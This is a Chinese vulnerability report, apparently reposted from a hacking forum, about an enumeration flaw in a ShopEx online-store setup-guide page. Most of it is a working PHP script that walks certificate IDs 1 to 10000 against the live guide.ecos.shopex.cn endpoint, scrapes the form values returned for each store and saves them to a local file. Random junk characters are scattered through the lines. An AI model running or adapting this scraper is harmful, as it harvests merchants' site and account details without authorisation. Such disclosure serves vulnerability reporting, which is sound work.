ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
: x$ E/ u% s7 z6 W; xShopEx某接口缺陷,可遍历所有网站
6 e6 z0 g5 P# R6 i8 Z' G3 Y8 t详细说明：
问题出现在shopex 网店使用向导页面



. p" p" C. J! F2 a# n) m0 Fhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

" U- z6 F8 b: o& s3 j

# i$ v: @9 ]# P, E7 F# [$ l9 X/ Wrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
8 Q7 F& ~6 l4 H- m5 n


& E$ D3 n! F$ p5 T% r! F# q我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

+ |. _$ _- {, F3 W6 ?4 V
7 |: f( T1 A# ?3 j
<?php

# e! ~/ w( Z5 h+ g5 J, {; O                for ($i=1; $i < 10000; $i++) { //遍历

8 |( ?3 N7 ?! l; L9 H- Y, P8 _                        ShowshopExD($i);

                }

                function ShowshopExD($cid) {

2 P7 N8 s" m- \+ b9 F# Q                $url='http://guide.ecos.shopex.cn/step2.php';

/ J; g$ O- p: P# ]                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

2 Y' f3 a. t' Q" ]* K        $url = $url.'?refer='.$refer;

- X2 J/ j" a' F. n8 c* F        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
- r$ u+ b) F4 A' w* U
" t; }+ o8 }8 w6 ~3 M        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
+ {0 ]# U, v6 b( D  T
& g' r2 Z" M( s" J3 y4 u! N0 X9 Q        $result = curl_exec($ch);

8 _! z7 o/ p2 b& |2 t        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
/ j' s/ W" _5 q, O: U+ c( w2 A
        {

4 x5 L/ b5 C; l                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
8 f' ~$ U% p' G1 u9 K9 k6 H8 l
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
* y2 Y, ?' p- ^0 Y, D' u  V
                        echo $res[1][0].':'.$res[3][0]."\r\n";
' m7 A. p5 U0 U1 v
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
7 Q; J7 T, l3 T. b3 L0 V
                        fwrite($fp, $col, strlen($col));

$ @. s8 @2 ^! M6 M$ f& C2 k2 J4 R                }
9 A3 p; p0 z& K. |
6 e8 @2 j3 A3 E0 k4 E' p4 x                echo '--------------------------------'."\r\n";

# r; e- M+ h" x                fclose($fp);
1 _+ `/ o* f; B, m+ g) j
1 v$ b3 j: z$ F# {        }

/ w" L) h0 S( p3 S+ l        flush();
% b$ o6 |% W# K% i
$ b) q8 {9 C* c' M8 T; H) p- ?        curl_close($ch);
2 J$ ]  N+ i0 P4 Z# M
! `' j& t1 \% T, {. [7 z( y) b2 m                }

?>
7 @, v  d0 y5 `漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式